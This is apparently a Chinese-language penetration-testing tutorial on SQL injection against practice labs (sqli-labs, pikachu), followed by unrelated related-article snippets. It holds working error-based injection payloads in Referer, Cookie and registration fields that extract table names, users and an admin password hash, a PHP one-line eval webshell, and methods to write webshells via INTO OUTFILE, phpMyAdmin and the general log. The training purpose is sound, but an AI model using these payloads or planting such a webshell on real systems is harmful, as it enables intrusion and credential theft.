SQL注入-下篇

HTTP注入

一、Referer注入

概述

当你访问一个网站的时候,你的浏览器需要告诉服务器你是从哪个地方访问服务器的。
如直接在浏览器器的URL栏输入网址访问网站是没有referer的,需要在一个打开的网站中,点击链接跳转到另一个页面。

Less-19
  1. 判断也是是否存在注入

image.png
image.png

  1. 尝试注入
    1. 使用单引号判断

image.png

  1. 闭合SQL
 http://10.196.93.67/sqli-labs/Less-19/','' ) #  

image.png

  1. 构造语句并注入
    1. 判断是插入语句,尝试报错注入。
http://10.196.93.67/sqli-labs/Less-19/'and updatexml(1,concat('~',(select database()),'~'),1),'' ) #   

image.png

二、Cookies注入

  1. 判断是否有注入
    1. 显示请求头信息

image.png

  1. 闭合语句
    1. 单引号尝试报错,可能注入

image.png

  1. 添加井号,闭合完成

image.png

  1. 构造语句并注入
    1. 报错注入
Cookie: uname=v 'and updatexml(1,concat('~',(select user()),'~'),1) #  

image.png

pikachu靶场搭建

  1. github地址:https://github.com/zhuifengshaonianhanlu/pikachu
  2. 下载后解压放入文件到Apache服务中的www根目录中
  3. 在mysql数据库中创建一个任意的数据库(示例:pikachu)
  4. 在pikachu目录中找到config.inc.php文件
    1. 位置:WWW\pikachu\inc文件下
  5. 修改config.inc.php配置
# DBNAME 为创建的开始创建的空数据库
#
<?php
//全局session_start
session_start();
//全局居设置时区
date_default_timezone_set('Asia/Shanghai');
//全局设置默认字符
header('Content-type:text/html;charset=utf-8');
//定义数据库连接参数
define('DBHOST', '127.0.0.1');//将localhost或者127.0.0.1修改为数据库服务器的地址
define('DBUSER', 'root');//将root修改为连接mysql的用户名
define('DBPW', 'root');//将root修改为连接mysql的密码,如果改了还是连接不上,请先手动连接下你的数据库,确保数据库服务没问题在说!
define('DBNAME', 'pikachu');//自定义,建议不修改
define('DBPORT', '3306');//将3306修改为mysql的连接端口,默认tcp3306?>
  1. 网站初始化
    1. 进入网址:http://localhost/pikachu/install.php
    2. 点击初始化按钮,出现下方的红字,初始化成功。

image.png

注入漏洞登录网站(pikachu靶场)

一、寻找注入点

  1. 网址:http://10.196.93.67/pikachu/vul/sqli/sqli_iu/sqli_reg.php
  2. 判断是否能注入:
    1. 单引号判断,出现sql报错既可注入。
    2. image.png
    3. image.png

二、闭合语句

  1. 注册功能,使用的是插入,大概率补全字段数既可闭合语句。
username=','','','','','')# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit  

image.png

三、注入

  1. 尝试报错注入
    1. 数据库名:pikachu
username=','','','','',''and updatexml(1,concat('~!',(select database()),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit

image.png

  1. 查询pikachu中表名
    1. 查询表的数量
username=','','','','',''and updatexml(1,concat('~',(select count(*) from information_schema.`TABLES` where TABLE_SCHEMA = database()),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit  
# 结果:5张

image.png

  1. 使用group_concat()查询()
# sql
username=','','','','',''and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.`TABLES` where TABLE_SCHEMA = database()),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit
#结果:XPATH syntax error: '~httpinfo,member,message,users,x'
# 并没有显示完整,还差最后一张
# 查询最后一张,使用limit或直接使用suhstr()
# sql
username=','','','','',''and updatexml(1,concat('~',(select table_name from information_schema.`TABLES` where TABLE_SCHEMA = database()limit 4,1),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit
# 结果:XPATH syntax error: '~xssblind~'# 最后查询结果:httpinfo,member,message,users,xssblind

image.png
image.png

  1. 查询users表中的字段名称
username=','','','','',''and updatexml(1,concat('~',(select GROUP_CONCAT(column_name) from information_schema.`COLUMNS` where TABLE_SCHEMA = 'pikachu' and TABLE_NAME = 'users'),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit  
# 结果:XPATH syntax error: '~id,username,password,level~'

image.png

  1. 查询users表中的数据
    1. 查询用户名
username=','','','','',''and updatexml(1,concat('~',(select group_concat(username) from users),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit  
# 结果:XPATH syntax error: '~admin,pikachu,test~'

image.png

  1. 查询admin用户密码
username=','','','','',''and updatexml(1,concat('~',(select password from users where username = "admin"),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit
# 结果:XPATH syntax error: '~e10adc3949ba59abbe56e057f20f883' 
# 根据结果发现:
# 一:密码使用md5加密
# 二:密码并没有显示完全,需要在使用substr()截取函数,补全密码并解码
# 真实密码:e10adc3949ba59abbe56e057f20f883e 
# 解码得:123456
  1. ![image.png](https://cdn.nlark.com/yuque/0/2024/png/38516294/1718765775832-d22d61a3-7225-4b94-98c4-c3b847844bcb.png#averageHue=%23626161&clientId=u0c23c550-2eef-4&from=paste&height=614&id=uc59ac8c5&originHeight=614&originWidth=1343&originalType=binary&ratio=1&rotation=0&showTitle=false&size=72813&status=done&style=none&taskId=ue08d257f-066c-4145-8f12-84cab89f64d&title=&width=1343)2. ![image.png](https://cdn.nlark.com/yuque/0/2024/png/38516294/1718765956800-75a89c27-539b-4481-82d7-2e56c86379ce.png#averageHue=%23f6f6f5&clientId=u0c23c550-2eef-4&from=paste&height=282&id=ua689a11a&originHeight=282&originWidth=860&originalType=binary&ratio=1&rotation=0&showTitle=false&size=24564&status=done&style=none&taskId=u0f221d0c-234e-47d1-8477-af918a5df21&title=&width=860)

webShell

一、简介

webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作命令。webshell主要用于网站和服务器管理,由于其便利性和功能强大,被特别修改后的webshell也被部分人当作网站后门工具使用。

二、网站渗透流程

1、信息收集
2、网站漏洞挖掘
3 利用漏洞3.1、获取webShell3.2、获取网站后台权限3.2.1、获取webShell

三、一句话木马

一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用

1 满足条件
  1. 木木马成功上传,为被杀
  2. 知道木马的路径在哪
  3. 上传的木马能正常运行
  4. 有PHP运行环境
2 PHP
# @ :表示后面及时后面执行错误,也不会报错。
# eval() 把参数当做代码来执行。
# 以POST方式获取到cmd的值
<?php @eval($_POST["cmd"]); ?># 扩展:php方法
# 可以执行系统命令
# 容易被杀毒软件杀掉
system();

3 中国蚁剑
  1. 连接

image.png

  1. 打开虚拟终端

image.png

四、SQL注入获取webShell

  1. 前提条件
    1. 当前sql注入用户必须为DBA权限(–is-dba为true)
    2. 需要知道网站的绝对路径
    3. My.ini文件中的这项配置secure_file_priv = “” 为空
  2. 技巧
    1. 单引号暴露绝对路径/错误参数暴露绝对路径

image.png

  1. secure_file_priv注入演示
    1. 设置my.ini 该字段为空
secure_file_priv = 

image.png

  1. 注入
select * from `security`.users where id = '-1' union select 1,2,LOAD_FILE("D:/phpStudy/PHPTutorial/WWW/sqli-labs/Less-1/index.php/INDEX.php");
  1. into outfile
    1. 将查询数据写到到本地
select *  into outfile 'D:/phpStudy/PHPTutorial/MySQL/aaaaa.txt' from `security`.users ;

五、phpmyAdmin获取webShell

  1. 前提条件
    1. 当前sql注入用户必须为DBA权限(–is-dba为true)
    2. 需要知道网站的绝对路径
    3. My.ini文件中的这项配置secure_file_priv = “” 为空
  2. 宝塔漏洞
    1. 访问网址既可进入到phpMyAdmin管理页面
    2. http://www.xx.com:888/pma
  3. 通过查询将一句话木马写到到本地。

六、全局日志

  1. 设置全局日志
set global general_log_file = 'xxx/xx.php'
# 再写入一句话木马

DnsLog盲注

使用网址:http://www.dnslog.cn/

利用条件

image.png

固定语句

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/354426.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Elasticsearch 认证模拟题 - 22

一、题目 索引 task 索引中文档的 fielda 字段内容包括了 hello & world&#xff0c;索引后&#xff0c;要求使用 match_phrase query 查询 hello & world 或者 hello and world 都能匹配该文档 1.1 考点 分词器 1.2 答案 # 创建符合条件的 task 索引&#xff0c;…

华为云与AWS负载均衡服务深度对比:性能、成本与可用性

随着云计算的迅速发展&#xff0c;企业对于云服务提供商的选择变得越来越关键。在选择云服务提供商时&#xff0c;负载均衡服务是企业关注的重点之一。我们九河云将深入比较两大知名云服务提供商华为云和AWS的负载均衡服务&#xff0c;从性能、成本和可用性等方面进行对比。 AW…

Blender:渲染输出

一、渲染设置 渲染设置界面&#xff1a; 渲染器选择切换 Cycles渲染器 【文档】 Cycles渲染目标&#xff1a; Cycles是Blender用于产品级渲染&#xff0c;基于物理的路径跟踪器。主要关注于影视质量&#xff0c;更高质量的外观它旨在提供易于使用以及准确的物理渲染结果具有艺术…

Ubuntu服务器搭建Git远程仓库

本文所述方法适用于小型团队在局域网环境中使用Git进行代码版本管理。 1. 安装Git 打开终端(Ctrl + Alt + T) ,输入以下命令: sudo apt update #更新软件包列表信息 sudo apt install git #安装Git 验证Git是否安装成功,可以查看Git版本: git --version 也需…

同三维T80002JEHV H.265高清解码器

同三维T80002JEHV H.265高清解码器 1路HDMI1路VGA解码输出&#xff0c;1/2/4画面分割或16路轮询显示 产品简介&#xff1a; 同三维T80002JEHV解码器使用Linux系统&#xff0c;支持VGA/HDMI二种接口同时输出&#xff0c;支持多流输入多流解码及多屏显示&#xff0c;具有完善的…

NET Core C# 中的Action委托:语法、用法和示例_2024-06-19

Action委托是一个内置的泛型委托类型。此委托使您的程序更具可读性和效率&#xff0c;因为您无需定义自定义委托&#xff0c;如以下示例所示。 它在 System 命名空间下定义。它没有输出参数&#xff0c;输入参数最少为 1 个&#xff0c;最多为 16 个。 Action委托通常用于具有…

【windows|004】BIOS 介绍及不同品牌电脑和服务器进入BIOS设置的方法

&#x1f341;博主简介&#xff1a; &#x1f3c5;云计算领域优质创作者 &#x1f3c5;2022年CSDN新星计划python赛道第一名 &#x1f3c5;2022年CSDN原力计划优质作者 ​ &#x1f3c5;阿里云ACE认证高级工程师 ​ &#x1f3c5;阿里云开发者社区专家博主 &#x1f48a;交流社…

Android device/xxx/system/common/overlay编译产物

MTK 如下代码编译的产物在 framework-res.apk 编译配置文件在device/mediatek/system/common/目录下的Android.bp device/mediatek/system/common/overlay/telephony/frameworks/base/core/res/res/values-mcc655-mnc01/config.xml 在Android U上面还在overlay目录中进行了产…

前端框架中的路由(Routing)和前端导航(Front-End Navigation)

聚沙成塔每天进步一点点 本文回顾 ⭐ 专栏简介前端框架中的路由&#xff08;Routing&#xff09;和前端导航&#xff08;Front-End Navigation&#xff09;1. 路由&#xff08;Routing&#xff09;1.1 定义1.2 路由的核心概念1.2.1 路由表&#xff08;Route Table&#xff09;1…

13.3 Go 性能优化

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:「stormsha的主页」…

LENOVO联想 小新 16 IAH8 2023款(83BG)笔记本原厂Windows11系统,恢复出厂开箱状态预装OEM系统镜像安装包下载

适用型号&#xff1a;小新 16 IAH8【83BG】 链接&#xff1a;https://pan.baidu.com/s/18VbGbBXtQEW5P8wLIyJtAQ?pwddv1s 提取码&#xff1a;dv1s 联想原装Win11系统自带所有驱动、出厂主题壁纸、系统属性联机支持标志、系统属性专属LOGO标志、Office办公软件、联想电脑管家…

Java | Leetcode Java题解之第168题Excel表列名称

题目&#xff1a; 题解&#xff1a; class Solution {public String convertToTitle(int columnNumber) {StringBuffer sb new StringBuffer();while (columnNumber ! 0) {columnNumber--;sb.append((char)(columnNumber % 26 A));columnNumber / 26;}return sb.reverse().t…

读AI新生:破解人机共存密码笔记06人工智能生态系统

1. 深蓝 1.1. “深蓝”的胜利虽然令人印象深刻&#xff0c;但它只是延续了几十年来显而易见的趋势 1.2. 国际象棋算法的基本设计是由克劳德香农在1950年提出的 1.2.1. 这一基本设计在20世纪60年代初实现了重大改进 1.2.2. 最优秀的国际象棋程序的等级评分稳步提高&#xff…

【雷丰阳-谷粒商城 】【分布式高级篇-微服务架构篇】【11】ElasticSearch

持续学习&持续更新中… 守破离 【雷丰阳-谷粒商城 】【分布式高级篇-微服务架构篇】【11】ElasticSearch 简介基本概念ElasticSearch概念-倒排索引安装基本命令ik 分词器SpringBoot整合测试存储数据&#xff1a;测试复杂检索同步与异步调用 参考 简介 Elasticsearch 是一…

C++ | Leetcode C++题解之第167题两数之和II-输入有序数组

题目&#xff1a; 题解&#xff1a; class Solution { public:vector<int> twoSum(vector<int>& numbers, int target) {int low 0, high numbers.size() - 1;while (low < high) {int sum numbers[low] numbers[high];if (sum target) {return {low …

差分数组汇总

本文涉及知识点 算法与数据结构汇总 差分数组 令 a[i] ∑ j : 0 i v D i f f [ i ] \sum_{j:0}^{i}vDiff[i] ∑j:0i​vDiff[i] 如果 vDiff[i1]&#xff0c;则a[i1…]全部 如果vDiff[i2]–,则a[i2…]全部–。 令11 < i2 &#xff0c;则&#xff1a; { a [ i ] 不变&…

码住!详解时序数据库不同分类与性能对比

加速发展中的时序数据库&#xff0c;基于不同架构&#xff0c;最流行的类别是&#xff1f; 作为管理工业场景时序数据的新兴数据库品类&#xff0c;时序数据库凭借着对海量时序数据的高效存储、高可扩展性、时序分析计算等特性&#xff0c;一跃成为物联网时代工业领域颇受欢迎的…

RK3568技术笔记十二 Android编译方法

Android源码说明 Android源码在SAIL-RK3568开发板光盘->Android->源代码中&#xff0c;由于android源码太大&#xff0c;在进行压缩时&#xff0c;进行分包压缩&#xff0c;因此有4部分&#xff0c;如图所示&#xff1a; 进行解压时&#xff0c;需将4部分压缩包放置同一…

技术差异,应用场景;虚拟机可以当作云服务器吗

虚拟机和云服务器是现在市面上常见的两种计算资源提供方式&#xff0c;很多人把这两者看成可以相互转换或者替代的物品&#xff0c;实则不然&#xff0c;这两种资源提供方式有许多相似之处&#xff0c;但是也有不少区别&#xff0c;一篇文章教你识别两者的技术差异&#xff0c;…

快速搭建Jenkins自动化集成cicd工具

一、简介 jenkins是一款优秀的自动化持续集成运维工具&#xff0c;可以极大的简化运维部署的步骤。 传统的项目部署需要手动更换最新的项目代码&#xff0c;然后打包并运行到服务器上。 使用Jenkins可以自动化实现&#xff0c;当代码编写完成并提交到git后&#xff0c;Jenki…